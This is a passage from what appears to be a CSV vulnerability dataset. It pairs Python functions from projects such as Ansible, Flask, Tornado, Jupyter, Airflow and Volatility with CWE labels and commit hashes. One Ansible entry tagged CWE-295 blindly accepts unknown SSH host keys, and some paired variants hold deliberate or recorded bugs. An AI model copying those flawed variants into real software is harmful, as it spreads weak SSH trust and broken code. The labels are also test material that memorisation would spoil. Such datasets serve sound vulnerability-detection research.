        def _llm_type(self) -> str:
            return ""chat model""

    model = ChatModel()

    with mlflow.start_run():
        model_info = mlflow.langchain.log_model(model, ""model"")

    loaded_model = mlflow.pyfunc.load_model(model_info.model_uri)

    input_example = {
        ""messages"": [
            {""role"": ""system"", ""content"": ""You are a helpful assistant.""},
            {""role"": ""assistant"", ""content"": ""What would you like to ask?""},
            {""role"": ""user"", ""content"": ""Who owns MLflow?""},
        ]
    }
    expected_resp_content = {
        ""role"": ""assistant"",
        ""content"": (
            ""system: You are a helpful assistant.\n""
            ""ai: What would you like to ask?\n""
            ""human: Who owns MLflow?""
        ),
    }
    response1 = loaded_model.predict([input_example])
    assert len(response1) == 1
    assert response1[0][""choices""][0][""message""] == expected_resp_content
    response2 = loaded_model.predict(input_example)
    assert response2[""choices""][0][""message""] == expected_resp_content
    response3 = loaded_model.predict([input_example, input_example])
    assert len(response3) == 2
    for i in range(2):
        assert response3[i][""choices""][0][""message""] == expected_resp_content"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/overlays/windows/win10.py,0,"def findcookie(self, kernel_space):
        """"""Find and read the nt!ObHeaderCookie value. 

        On success, return True and save the cookie value in self._cookie.
        On Failure, return False. 

        This method must be called before performing any tasks that require 
        object header validation including handles, psxview (due to pspcid) 
        and the object scanning plugins (psscan, etc). 

        NOTE: this cannot be implemented as a volatility ""magic"" class,
        because it must be persistent across various classes and sources. 
        We don't want to recalculate the cookie value multiple times. 
        """"""

        meta = kernel_space.profile.metadata 
        vers = (meta.get(""major"", 0), meta.get(""minor"", 0))

        # this algorithm only applies to Windows 10 or greater 
        if vers < (6, 4):
            return True 

        # prevent subsequent attempts from recalculating the existing value 
        if self._cookie:
            return True

        if not has_distorm:
            debug.warning(""distorm3 module is not installed"")
            return False 

        kdbg = tasks.get_kdbg(kernel_space)
        
        if not kdbg:
            debug.warning(""Cannot find KDBG"")
            return False
        
        nt_mod = None 
        
        for mod in kdbg.modules():
            nt_mod = mod 
            break 
            
        if nt_mod == None:
            debug.warning(""Cannot find NT module"")
            return False

        addr = nt_mod.getprocaddress(""ObGetObjectType"")
        if addr == None:
            debug.warning(""Cannot find nt!ObGetObjectType"")
            return False 

        # produce an absolute address by adding the DLL base to the RVA 
        addr += nt_mod.DllBase 
        if not nt_mod.obj_vm.is_valid_address(addr):
            debug.warning(""nt!ObGetObjectType at {0} is invalid"".format(addr))
            return False 

        # in theory...but so far we haven't tested 32-bits 
        model = meta.get(""memory_model"")    
        if model == ""32bit"":
            mode = distorm3.Decode32Bits
        else:
            mode = distorm3.Decode64Bits

        data = nt_mod.obj_vm.read(addr, 100)
        ops = distorm3.Decompose(addr, data, mode, distorm3.DF_STOP_ON_RET)
        addr = None

        # search backwards from the RET and find the MOVZX 

        if model == ""32bit"":
            # movzx ecx, byte ptr ds:_ObHeaderCookie
            for op in reversed(ops):
                if (op.size == 7 and 
                            'FLAG_DST_WR' in op.flags and
                            len(op.operands) == 2 and 
                            op.operands[0].type == 'Register' and 
                            op.operands[1].type == 'AbsoluteMemoryAddress' and 
                            op.operands[1].size == 8):
                    addr = op.operands[1].disp & 0xFFFFFFFF
                    break
        else:
            # movzx ecx, byte ptr cs:ObHeaderCookie 
            for op in reversed(ops):
                if (op.size == 7 and 
                            'FLAG_RIP_RELATIVE' in op.flags and
                            len(op.operands) == 2 and 
                            op.operands[0].type == 'Register' and 
                            op.operands[1].type == 'AbsoluteMemory' and 
                            op.operands[1].size == 8):
                    addr = op.address + op.size + op.operands[1].disp 
                    break

        if not addr:
            debug.warning(""Cannot find nt!ObHeaderCookie"")
            return False

        if not nt_mod.obj_vm.is_valid_address(addr):
            debug.warning(""nt!ObHeaderCookie at {0} is not valid"".format(addr))
            return False

        cookie = obj.Object(""unsigned int"", offset = addr, vm = nt_mod.obj_vm)
        self._cookie = int(cookie)

        return True",,volatilityfoundation/volatility,69142099447a5248ebdb9e3ba636738d509b7055,"def findcookie(self, kernel_space):
        """"""Find and read the nt!ObHeaderCookie value. 

        On success, return True and save the cookie value in self._cookie.
        On Failure, return False. 

        This method must be called before performing any tasks that require 
        object header validation including handles, psxview (due to pspcid) 
        and the object scanning plugins (psscan, etc). 

        NOTE: this cannot be implemented as a volatility ""magic"" class,
        because it must be persistent across various classes and sources. 
        We don't want to recalculate the cookie value multiple times. 
        """"""

        meta = kernel_space.profile.metadata 
        vers = (meta.get(""major"", 0), meta.get(""minor"", 0))

        # this algorithm only applies to Windows 10 or greater 
        if vers < (6, 4):
            return True 

        # prevent subsequent attempts from recalculating the existing value 
        if self._cookie:
            return True

        if not has_distorm:
            debug.warning(""distorm3 module is not installed"")
            return False 

        kdbg = tasks.get_kdbg(kernel_space)
        nt_mod = list(kdbg.modules())[0]

        addr = nt_mod.getprocaddress(""ObGetObjectType"")
        if addr == None:
            debug.warning(""Cannot find nt!ObGetObjectType"")
            return False 

        # produce an absolute address by adding the DLL base to the RVA 
        addr += nt_mod.DllBase 
        if not nt_mod.obj_vm.is_valid_address(addr):
            debug.warning(""nt!ObGetObjectType at {0} is invalid"".format(addr))
            return False 

        # in theory...but so far we haven't tested 32-bits 
        model = meta.get(""memory_model"")    
        if model == ""32bit"":
            mode = distorm3.Decode32Bits
        else:
            mode = distorm3.Decode64Bits

        data = nt_mod.obj_vm.read(addr, 100)
        ops = distorm3.Decompose(addr, data, mode, distorm3.DF_STOP_ON_RET)
        addr = None

        # search backwards from the RET and find the MOVZX 

        if model == ""32bit"":
            # movzx ecx, byte ptr ds:_ObHeaderCookie
            for op in reversed(ops):
                if (op.size == 7 and 
                            'FLAG_DST_WR' in op.flags and
                            len(op.operands) == 2 and 
                            op.operands[0].type == 'Register' and 
                            op.operands[1].type == 'AbsoluteMemoryAddress' and 
                            op.operands[1].size == 8):
                    addr = op.operands[1].disp & 0xFFFFFFFF
                    break
        else:
            # movzx ecx, byte ptr cs:ObHeaderCookie 
            for op in reversed(ops):
                if (op.size == 7 and 
                            'FLAG_RIP_RELATIVE' in op.flags and
                            len(op.operands) == 2 and 
                            op.operands[0].type == 'Register' and 
                            op.operands[1].type == 'AbsoluteMemory' and 
                            op.operands[1].size == 8):
                    addr = op.address + op.size + op.operands[1].disp 
                    break

        if not addr:
            debug.warning(""Cannot find nt!ObHeaderCookie"")
            return False

        if not nt_mod.obj_vm.is_valid_address(addr):
            debug.warning(""nt!ObHeaderCookie at {0} is not valid"".format(addr))
            return False

        cookie = obj.Object(""unsigned int"", offset = addr, vm = nt_mod.obj_vm)
        self._cookie = int(cookie)

        return True"
,UNKNOWN,UNKNOWN,tests/test_helpers.py,1,"def test_send_file_object_without_mimetype(self, app, req_ctx):
        with pytest.raises(ValueError) as excinfo:
            flask.send_file(StringIO(""LOL""))
        assert 'Unable to infer MIME-type' in str(excinfo.value)
        assert 'no filename is available' in str(excinfo.value)

        flask.send_file(StringIO(""LOL""), attachment_filename='filename')",CWE-703,pallets/flask,043443d2d3432d8c182f059cf2f30967eda73d1f,"def test_send_file_object_without_mimetype(self, app, req_ctx):
        with pytest.raises(ValueError) as excinfo:
            flask.send_file(StringIO(""LOL""))
        assert 'Unable to infer MIME-type' in str(excinfo)
        assert 'no filename is available' in str(excinfo)

        flask.send_file(StringIO(""LOL""), attachment_filename='filename')"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/web_test.py,0,"def test_multi_exception(self):
        # This test verifies that multiple exceptions raised into the same
        # ExceptionStackContext do not generate extraneous log entries
        # due to ""Cannot send error response after headers written"".
        # log_exception is called, but it does not proceed to send_error.
        response = self.fetch('/')
        self.assertEqual(response.code, 500)
        response = self.fetch('/')
        self.assertEqual(response.code, 500)
        # Each of our two requests generated two exceptions, we should have
        # seen at least three of them by now (the fourth may still be
        # in the queue).
        self.assertGreater(MultipleExceptionTest.Handler.exc_count, 2)",CWE-Unknown,tornadoweb/tornado,2d683cd95f21481b8b19a8723a673615d808cc17,"def test_multi_exception(self):
        # This test verifies that multiple exceptions raised into the same
        # ExceptionStackContext do not generate extraneous log entries
        # due to ""Cannot send error response after headers written"".
        # log_exception is called, but it does not proceed to send_error.
        response = self.fetch('/')
        self.assertEqual(response.code, 500)
        response = self.fetch('/')
        self.assertEqual(response.code, 500)
        # Each of our two requests generated two exceptions, we should have
        # seen at least three of them by now (the fourth may still be
        # in the queue).
        self.assertGreater(MultipleExceptionTest.Handler.exc_count, 2)"
,UNKNOWN,UNKNOWN,tests/models/test_param.py,1,"def test_update(self):
        pd = ParamsDict({'key': Param('value', type='string')})

        pd.update({'key': 'a'})
        internal_value = pd.get_param('key')
        assert isinstance(internal_value, Param)
        with pytest.raises(ParamValidationError, match=r'Invalid input for param key: 1 is not'):
            pd.update({'key': 1})",CWE-703,apache/airflow,de68fd1a816598204bfb6ab8274dc0fa5cf593f2,"def test_update(self):
        pd = ParamsDict({'key': Param('value', type='string')})

        pd.update({'key': 'a'})
        internal_value = pd.get_param('key')
        assert isinstance(internal_value, Param)
        with pytest.raises(ParamValidationError, match=r'Invalid input for param key: 1 is not'):
            pd.update({'key': 1})"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/services/contents/filemanager.py,0,"def delete_file(self, path):
        """"""Delete file at path.""""""
        path = path.strip('/')
        os_path = self._get_os_path(path)
        rm = os.unlink
        if not os.path.exists(os_path):
            raise web.HTTPError(404, u'File or directory does not exist: %s' % os_path)

        if self.delete_to_trash:
            if os.path.isdir(os_path):
                listing = os.listdir(os_path)
                # Don't send non-empty directories to trash.
                # A directory containing only leftover checkpoints is
                # considered empty.
                cp_dir = getattr(self.checkpoints, 'checkpoint_dir', None)
                for entry in listing:
                    if entry != cp_dir:
                        raise web.HTTPError(400, u'Directory %s not empty' % os_path)
            self.log.debug(""Sending %s to trash"", os_path)
            # Looking at the code in send2trash, I don't think the errors it
            # raises let us distinguish permission errors from other errors in
            # code. So for now, just let them all get logged as server errors.
            send2trash(os_path)
            return

        if os.path.isdir(os_path):
            self.log.debug(""Removing directory %s"", os_path)
            with self.perm_to_403():
                shutil.rmtree(os_path)
        else:
            self.log.debug(""Unlinking file %s"", os_path)
            with self.perm_to_403():
                rm(os_path)",,jupyter/notebook,a307af9b3531500f7135e7630bae280867410e14,"def delete_file(self, path):
        """"""Delete file at path.""""""
        path = path.strip('/')
        os_path = self._get_os_path(path)
        rm = os.unlink
        if not os.path.exists(os_path):
            raise web.HTTPError(404, u'File or directory does not exist: %s' % os_path)

        if self.delete_to_trash:
            if os.path.isdir(os_path):
                listing = os.listdir(os_path)
            # Don't send non-empty directories to trash.
            # A directory containing only leftover checkpoints is
            # considered empty.
            cp_dir = getattr(self.checkpoints, 'checkpoint_dir', None)
            for entry in listing:
                if entry != cp_dir:
                    raise web.HTTPError(400, u'Directory %s not empty' % os_path)
            self.log.debug(""Sending %s to trash"", os_path)
            # Looking at the code in send2trash, I don't think the errors it
            # raises let us distinguish permission errors from other errors in
            # code. So for now, just let them all get logged as server errors.
            send2trash(os_path)
            return

        if os.path.isdir(os_path):
            self.log.debug(""Removing directory %s"", os_path)
            with self.perm_to_403():
                shutil.rmtree(os_path)
        else:
            self.log.debug(""Unlinking file %s"", os_path)
            with self.perm_to_403():
                rm(os_path)"
,UNKNOWN,UNKNOWN,tests/test_helpers.py,1,"def test_attachment_with_utf8_filename(self):
        app = flask.Flask(__name__)
        with app.test_request_context():
            with open(os.path.join(app.root_path, 'static/index.html')) as f:
                rv = flask.send_file(f, as_attachment=True,
                                     attachment_filename=u'Ñandú／pingüino.txt')
                content_disposition = set(rv.headers['Content-Disposition'].split(';'))
                assert content_disposition == set(['attachment',
                                                   ' filename=""Nandu/pinguino.txt""',
                                                   "" filename*=UTF-8''%C3%91and%C3%BA%EF%BC%8Fping%C3%BCino.txt""])
                rv.close()",CWE-703,pallets/flask,6ef45f30ab0e95d80ee2a29168f098e9037b9e0b,"def test_attachment_with_utf8_filename(self):
        app = flask.Flask(__name__)
        with app.test_request_context():
            with open(os.path.join(app.root_path, 'static/index.html')) as f:
                rv = flask.send_file(f, as_attachment=True,
                                     attachment_filename='Ñandú／pingüino.txt')
                value, options = \
                    parse_options_header(rv.headers['Content-Disposition'])
                assert options == {'filename': 'Nandu/pinguino.txt', 'filename*': ""UTF-8''%C3%91and%C3%BA%EF%BC%8Fping%C3%BCino.txt""}
                rv.close()"
,UNKNOWN,UNKNOWN,lib/ansible/modules/network/cnos/cnos_portchannel.py,1,"def main():
    module = AnsibleModule(
        argument_spec=dict(
            outputfile=dict(required=True),
            host=dict(required=True),
            username=dict(required=True),
            password=dict(required=True, no_log=True),
            enablePassword=dict(required=False, no_log=True),
            deviceType=dict(required=True),
            interfaceRange=dict(required=False),
            interfaceArg1=dict(required=True),
            interfaceArg2=dict(required=False),
            interfaceArg3=dict(required=False),
            interfaceArg4=dict(required=False),
            interfaceArg5=dict(required=False),
            interfaceArg6=dict(required=False),
            interfaceArg7=dict(required=False),),
        supports_check_mode=False)

    username = module.params['username']
    password = module.params['password']
    enablePassword = module.params['enablePassword']
    interfaceRange = module.params['interfaceRange']
    interfaceArg1 = module.params['interfaceArg1']
    interfaceArg2 = module.params['interfaceArg2']
    interfaceArg3 = module.params['interfaceArg3']
    interfaceArg4 = module.params['interfaceArg4']
    interfaceArg5 = module.params['interfaceArg5']
    interfaceArg6 = module.params['interfaceArg6']
    interfaceArg7 = module.params['interfaceArg7']
    outputfile = module.params['outputfile']
    hostIP = module.params['host']
    deviceType = module.params['deviceType']
    output = """"
    if not HAS_PARAMIKO:
        module.fail_json(msg='paramiko is required for this module')

    # Create instance of SSHClient object
    remote_conn_pre = paramiko.SSHClient()

    # Automatically add untrusted hosts (make sure okay for security policy in your environment)
    remote_conn_pre.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    # initiate SSH connection with the switch
    remote_conn_pre.connect(hostIP, username=username, password=password)
    time.sleep(2)

    # Use invoke_shell to establish an 'interactive session'
    remote_conn = remote_conn_pre.invoke_shell()
    time.sleep(2)

    # Enable and enter configure terminal then send command
    output = output + cnos.waitForDeviceResponse(""\n"", "">"", 2, remote_conn)

    output = output + cnos.enterEnableModeForDevice(enablePassword, 3, remote_conn)

    # Make terminal length = 0
    output = output + cnos.waitForDeviceResponse(""terminal length 0\n"", ""#"", 2, remote_conn)

    # Go to config mode
    output = output + cnos.waitForDeviceResponse(""configure d\n"", ""(config)#"", 2, remote_conn)

    # Send the CLi command
    if(interfaceArg1 == ""port-aggregation""):
        output = output + cnos.portChannelConfig(remote_conn, deviceType, ""(config)#"", 2, interfaceArg1,
                                                 interfaceArg2, interfaceArg3, interfaceArg4, interfaceArg5, interfaceArg6, interfaceArg7)
    else:
        output = output + cnos.interfaceConfig(remote_conn, deviceType, ""(config)#"", 2, ""port-aggregation"", interfaceRange,
                                               interfaceArg1, interfaceArg2, interfaceArg3, interfaceArg4, interfaceArg5, interfaceArg6, interfaceArg7)

    # Save it into the file
    file = open(outputfile, ""a"")
    file.write(output)
    file.close()

    # Logic to check when changes occur or not
    errorMsg = cnos.checkOutputForError(output)
    if(errorMsg is None):
        module.exit_json(changed=True, msg=""Port Aggregation configuration is done"")
    else:
        module.fail_json(msg=errorMsg)",CWE-295,ansible/ansible,c57a7f05e1b37084110d2b1bc219b40fc9023ffa,"def main():
    module = AnsibleModule(
        argument_spec=dict(
            outputfile=dict(required=True),
            host=dict(required=True),
            username=dict(required=True),
            password=dict(required=True, no_log=True),
            enablePassword=dict(required=False, no_log=True),
            deviceType=dict(required=True),
            interfaceRange=dict(required=False),
            interfaceArg1=dict(required=True),
            interfaceArg2=dict(required=False),
            interfaceArg3=dict(required=False),
            interfaceArg4=dict(required=False),
            interfaceArg5=dict(required=False),
            interfaceArg6=dict(required=False),
            interfaceArg7=dict(required=False),),
        supports_check_mode=False)

    username = module.params['username']
    password = module.params['password']
    enablePassword = module.params['enablePassword']
    interfaceRange = module.params['interfaceRange']
    interfaceArg1 = module.params['interfaceArg1']
    interfaceArg2 = module.params['interfaceArg2']
    interfaceArg3 = module.params['interfaceArg3']
    interfaceArg4 = module.params['interfaceArg4']
    interfaceArg5 = module.params['interfaceArg5']
    interfaceArg6 = module.params['interfaceArg6']
    interfaceArg7 = module.params['interfaceArg7']
    outputfile = module.params['outputfile']
    hostIP = module.params['host']
    deviceType = module.params['deviceType']
    output = """"
    if not HAS_PARAMIKO:
        module.fail_json(msg='paramiko is required for this module')

    # Create instance of SSHClient object
    remote_conn_pre = paramiko.SSHClient()

    # Automatically add untrusted hosts (make sure okay for security policy in your environment)
    remote_conn_pre.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    # initiate SSH connection with the switch
    remote_conn_pre.connect(hostIP, username=username, password=password)
    time.sleep(2)

    # Use invoke_shell to establish an 'interactive session'
    remote_conn = remote_conn_pre.invoke_shell()
    time.sleep(2)

    # Enable and enter configure terminal then send command
    output = output + cnos.waitForDeviceResponse(""\n"", "">"", 2, remote_conn)

    output = output + cnos.enterEnableModeForDevice(enablePassword, 3, remote_conn)

    # Make terminal length = 0
    output = output + cnos.waitForDeviceResponse(""terminal length 0\n"", ""#"", 2, remote_conn)

    # Go to config mode
    output = output + cnos.waitForDeviceResponse(""configure d\n"", ""(config)#"", 2, remote_conn)

    # Send the CLi command
    if(interfaceArg1 == ""port-aggregation""):
        output = output + cnos.portChannelConfig(remote_conn, deviceType, ""(config)#"", 2, interfaceArg1,
                                                 interfaceArg2, interfaceArg3, interfaceArg4, interfaceArg5, interfaceArg6, interfaceArg7)
    else:
        output = output + cnos.interfaceConfig(remote_conn, deviceType, ""(config)#"", 2, ""port-aggregation"", interfaceRange,
                                               interfaceArg1, interfaceArg2, interfaceArg3, interfaceArg4, interfaceArg5, interfaceArg6, interfaceArg7)

    # Save it into the file
    file = open(outputfile, ""a"")
    file.write(output)
    file.close()

    # Logic to check when changes occur or not
    errorMsg = cnos.checkOutputForError(output)
    if(errorMsg is None):
        module.exit_json(changed=True, msg=""Port Aggregation configuration is done"")
    else:
        module.fail_json(msg=errorMsg)"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/grep/directoryIndexing.py,0,"def __init__(self):
        baseGrepPlugin.__init__(self)

        # Added performance by compiling all the regular expressions
        # before using them. The setup time of the whole plugin raises,
        # but the execution time is lowered *a lot*.
        self._compiled_regex_list = [ re.compile(regex) for regex in self._get_indexing_regex() ]",,andresriancho/w3af,35a7b7312f3064ec2cd9f1cd5dcf4f58da2ec3c5,"def __init__(self):
        baseGrepPlugin.__init__(self)

        # Added performance by compiling all the regular expressions
        # before using them. The setup time of the whole plugin raises,
        # but the execution time is lowered *a lot*.
        self._compiled_regex_list = [ re.compile() for regex in self._get_indexing_regex() ]"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/web_test.py,0,"def test_non_ascii(self):
        value = b""\xe9""
        signed = create_signed_value(SignedValueTest.SECRET, ""key"", value,
                                     clock=self.present)
        decoded = decode_signed_value(SignedValueTest.SECRET, ""key"", signed,
                                      clock=self.present)
        self.assertEqual(value, decoded)",CWE-Unknown,tornadoweb/tornado,7279a303d1c366aabd4facfc6b29ed46c3422350,"def test_non_ascii(self):
        value = b""\xe9""
        signed = create_signed_value(SignedValueTest.SECRET, ""key"", value,
                                     clock=self.present)
        decoded = decode_signed_value(SignedValueTest.SECRET, ""key"", signed,
                                      clock=self.present)
        self.assertEqual(value, decoded)"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/gen.py,0,"def sleep(duration):
    """"""Return a `.Future` that resolves after the given number of seconds.

    When used with ``yield`` in a coroutine, this is a non-blocking
    analogue to `time.sleep` (which should not be used in coroutines
    because it is blocking)::

        yield gen.sleep(0.5)

    Note that calling this function on its own does nothing; you must
    wait on the `.Future` it returns (usually by yielding it).

    .. versionadded:: 4.1
    """"""
    f = _create_future()
    IOLoop.current().call_later(duration,
                                lambda: future_set_result_unless_cancelled(f, None))
    return f",CWE-Unknown,tornadoweb/tornado,0b235351b32cb11760cc2ce80d4c3c529d572dcc,"def sleep(duration):
    """"""Return a `.Future` that resolves after the given number of seconds.

    When used with ``yield`` in a coroutine, this is a non-blocking
    analogue to `time.sleep` (which should not be used in coroutines
    because it is blocking)::

        yield gen.sleep(0.5)

    Note that calling this function on its own does nothing; you must
    wait on the `.Future` it returns (usually by yielding it).

    .. versionadded:: 4.1
    """"""
    f = _create_future()
    IOLoop.current().call_later(duration,
                                lambda: future_set_result_unless_cancelled(f, None))
    return f"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/config/manager.py,0,"def get_config_value_and_origin(self, config, cfile=None, plugin_type=None, plugin_name=None, keys=None, variables=None, direct=None):
        ''' Given a config key figure out the actual value and report on the origin of the settings '''
        if cfile is None:
            # use default config
            cfile = self._config_file

        # Note: sources that are lists listed in low to high precedence (last one wins)
        value = None
        origin = None

        defs = self.get_configuration_definitions(plugin_type, plugin_name)
        if config in defs:

            aliases = defs[config].get('aliases', [])

            # direct setting via plugin arguments, can set to None so we bypass rest of processing/defaults
            direct_aliases = []
            if direct:
                direct_aliases = [direct[alias] for alias in aliases if alias in direct]
            if direct and config in direct:
                value = direct[config]
                origin = 'Direct'
            elif direct and direct_aliases:
                value = direct_aliases[0]
                origin = 'Direct'

            else:
                # Use 'variable overrides' if present, highest precedence, but only present when querying running play
                if variables and defs[config].get('vars'):
                    value, origin = self._loop_entries(variables, defs[config]['vars'])
                    origin = 'var: %s' % origin

                # use playbook keywords if you have em
                if value is None and keys:
                    if config in keys:
                        value = keys[config]
                        keyword = config

                    elif aliases:
                        for alias in aliases:
                            if alias in keys:
                                value = keys[alias]
                                keyword = alias
                                break

                    if value is not None:
                        origin = 'keyword: %s' % keyword

                # env vars are next precedence
                if value is None and defs[config].get('env'):
                    value, origin = self._loop_entries(py3compat.environ, defs[config]['env'])
                    origin = 'env: %s' % origin

                # try config file entries next, if we have one
                if self._parsers.get(cfile, None) is None:
                    self._parse_config_file(cfile)

                if value is None and cfile is not None:
                    ftype = get_config_type(cfile)
                    if ftype and defs[config].get(ftype):
                        if ftype == 'ini':
                            # load from ini config
                            try:  # FIXME: generalize _loop_entries to allow for files also, most of this code is dupe
                                for ini_entry in defs[config]['ini']:
                                    temp_value = get_ini_config_value(self._parsers[cfile], ini_entry)
                                    if temp_value is not None:
                                        value = temp_value
                                        origin = cfile
                                        if 'deprecated' in ini_entry:
                                            self.DEPRECATED.append(('[%s]%s' % (ini_entry['section'], ini_entry['key']), ini_entry['deprecated']))
                            except Exception as e:
                                sys.stderr.write(""Error while loading ini config %s: %s"" % (cfile, to_native(e)))
                        elif ftype == 'yaml':
                            # FIXME: implement, also , break down key from defs (. notation???)
                            origin = cfile

                # set default if we got here w/o a value
                if value is None:
                    if defs[config].get('required', False):
                        if not plugin_type or config not in INTERNAL_DEFS.get(plugin_type, {}):
                            raise AnsibleError(""No setting was provided for required configuration %s"" %
                                               to_native(_get_entry(plugin_type, plugin_name, config)))
                    else:
                        value = defs[config].get('default')
                        origin = 'default'
                        # skip typing as this is a templated default that will be resolved later in constants, which has needed vars
                        if plugin_type is None and isinstance(value, string_types) and (value.startswith('{{') and value.endswith('}}')):
                            return value, origin

            # ensure correct type, can raise exceptions on mismatched types
            try:
                value = ensure_type(value, defs[config].get('type'), origin=origin)
            except ValueError as e:
                if origin.startswith('env:') and value == '':
                    # this is empty env var for non string so we can set to default
                    origin = 'default'
                    value = ensure_type(defs[config].get('default'), defs[config].get('type'), origin=origin)
                else:
                    raise AnsibleOptionsError('Invalid type for configuration option %s: %s' %
                                              (to_native(_get_entry(plugin_type, plugin_name, config)), to_native(e)))

            # deal with deprecation of the setting
            if 'deprecated' in defs[config] and origin != 'default':
                self.DEPRECATED.append((config, defs[config].get('deprecated')))
        else:
            raise AnsibleError('Requested entry (%s) was not defined in configuration.' % to_native(_get_entry(plugin_type, plugin_name, config)))

        return value, origin",,ansible/ansible,3f22f79e73af4398d03b0c1676bb8efde32ea607,"def get_config_value_and_origin(self, config, cfile=None, plugin_type=None, plugin_name=None, keys=None, variables=None, direct=None):
        ''' Given a config key figure out the actual value and report on the origin of the settings '''
        if cfile is None:
            # use default config
            cfile = self._config_file

        # Note: sources that are lists listed in low to high precedence (last one wins)
        value = None
        origin = None

        defs = self.get_configuration_definitions(plugin_type, plugin_name)
        if config in defs:

            # direct setting via plugin arguments, can set to None so we bypass rest of processing/defaults
            direct_aliases = []
            if direct:
                direct_aliases = [direct[alias] for alias in defs[config].get('aliases', []) if alias in direct]
            if direct and config in direct:
                value = direct[config]
                origin = 'Direct'
            elif direct and direct_aliases:
                value = direct_aliases[0]
                origin = 'Direct'

            else:
                # Use 'variable overrides' if present, highest precedence, but only present when querying running play
                if variables and defs[config].get('vars'):
                    value, origin = self._loop_entries(variables, defs[config]['vars'])
                    origin = 'var: %s' % origin

                # use playbook keywords if you have em
                if value is None and keys and config in keys:
                    value, origin = keys[config], 'keyword'
                    origin = 'keyword: %s' % origin

                # env vars are next precedence
                if value is None and defs[config].get('env'):
                    value, origin = self._loop_entries(py3compat.environ, defs[config]['env'])
                    origin = 'env: %s' % origin

                # try config file entries next, if we have one
                if self._parsers.get(cfile, None) is None:
                    self._parse_config_file(cfile)

                if value is None and cfile is not None:
                    ftype = get_config_type(cfile)
                    if ftype and defs[config].get(ftype):
                        if ftype == 'ini':
                            # load from ini config
                            try:  # FIXME: generalize _loop_entries to allow for files also, most of this code is dupe
                                for ini_entry in defs[config]['ini']:
                                    temp_value = get_ini_config_value(self._parsers[cfile], ini_entry)
                                    if temp_value is not None:
                                        value = temp_value
                                        origin = cfile
                                        if 'deprecated' in ini_entry:
                                            self.DEPRECATED.append(('[%s]%s' % (ini_entry['section'], ini_entry['key']), ini_entry['deprecated']))
                            except Exception as e:
                                sys.stderr.write(""Error while loading ini config %s: %s"" % (cfile, to_native(e)))
                        elif ftype == 'yaml':
                            # FIXME: implement, also , break down key from defs (. notation???)
                            origin = cfile

                # set default if we got here w/o a value
                if value is None:
                    if defs[config].get('required', False):
                        if not plugin_type or config not in INTERNAL_DEFS.get(plugin_type, {}):
                            raise AnsibleError(""No setting was provided for required configuration %s"" %
                                               to_native(_get_entry(plugin_type, plugin_name, config)))
                    else:
                        value = defs[config].get('default')
                        origin = 'default'
                        # skip typing as this is a templated default that will be resolved later in constants, which has needed vars
                        if plugin_type is None and isinstance(value, string_types) and (value.startswith('{{') and value.endswith('}}')):
                            return value, origin

            # ensure correct type, can raise exceptions on mismatched types
            try:
                value = ensure_type(value, defs[config].get('type'), origin=origin)
            except ValueError as e:
                if origin.startswith('env:') and value == '':
                    # this is empty env var for non string so we can set to default
                    origin = 'default'
                    value = ensure_type(defs[config].get('default'), defs[config].get('type'), origin=origin)
                else:
                    raise AnsibleOptionsError('Invalid type for configuration option %s: %s' %
                                              (to_native(_get_entry(plugin_type, plugin_name, config)), to_native(e)))

            # deal with deprecation of the setting
            if 'deprecated' in defs[config] and origin != 'default':
                self.DEPRECATED.append((config, defs[config].get('deprecated')))
        else:
            raise AnsibleError('Requested entry (%s) was not defined in configuration.' % to_native(_get_entry(plugin_type, plugin_name, config)))

        return value, origin"
,UNKNOWN,UNKNOWN,tests/decorators/test_setup_teardown.py,1,"def test_add_tasks_to_context_for_different_context_level(self, dag_maker):
        @setup
        def setuptask():
            print(""setup"")

        @teardown
        def teardowntask():
            print(""teardown"")

        @task
        def mytask():
            return 1

        with dag_maker() as dag:
            task1 = mytask()
            setuptask2 = BashOperator(task_id=""setuptask2"", bash_command=""echo 1"").as_setup()
            teardowntask2 = BashOperator(task_id=""teardowntask2"", bash_command=""echo 1"").as_teardown()
            task2 = BashOperator(task_id=""mytask2"", bash_command=""echo 1"")

            with setuptask() >> teardowntask() as scope:
                scope.add_task(task1)
                with setuptask2 >> teardowntask2 as scope2:
                    scope2.add_task(task2)

        assert len(dag.task_group.children) == 6
        assert not dag.task_group.children[""setuptask""].upstream_task_ids
        assert dag.task_group.children[""setuptask""].downstream_task_ids == {
            ""setuptask2"",
            ""mytask"",
            ""teardowntask"",
        }
        assert dag.task_group.children[""mytask""].upstream_task_ids == {""setuptask""}
        assert dag.task_group.children[""mytask""].downstream_task_ids == {""teardowntask""}
        assert dag.task_group.children[""teardowntask""].upstream_task_ids == {
            ""mytask"",
            ""setuptask"",
            ""teardowntask2"",
        }
        assert dag.task_group.children[""setuptask2""].upstream_task_ids == {""setuptask""}
        assert dag.task_group.children[""setuptask2""].downstream_task_ids == {""mytask2"", ""teardowntask2""}
        assert dag.task_group.children[""mytask2""].upstream_task_ids == {""setuptask2""}
        assert dag.task_group.children[""mytask2""].downstream_task_ids == {""teardowntask2""}
        assert dag.task_group.children[""teardowntask2""].upstream_task_ids == {""mytask2"", ""setuptask2""}",CWE-703,apache/airflow,ac524826f3fdd384e15b9a302e47a0c4a8e9f280,"def test_add_tasks_to_context_for_different_context_level(self, dag_maker):
        @setup
        def setuptask():
            print(""setup"")

        @teardown
        def teardowntask():
            print(""teardown"")

        @task
        def mytask():
            return 1

        with dag_maker() as dag:
            task1 = mytask()
            setuptask2 = BashOperator(task_id=""setuptask2"", bash_command=""echo 1"").as_setup()
            teardowntask2 = BashOperator(task_id=""teardowntask2"", bash_command=""echo 1"").as_teardown()
            task2 = BashOperator(task_id=""mytask2"", bash_command=""echo 1"")

            with setuptask() >> teardowntask() as scope:
                scope.add_task(task1)
                with setuptask2 >> teardowntask2 as scope2:
                    scope2.add_task(task2)

        assert len(dag.task_group.children) == 6
        assert not dag.task_group.children[""setuptask""].upstream_task_ids
        assert dag.task_group.children[""setuptask""].downstream_task_ids == {
            ""setuptask2"",
            ""mytask"",
            ""teardowntask"",
        }
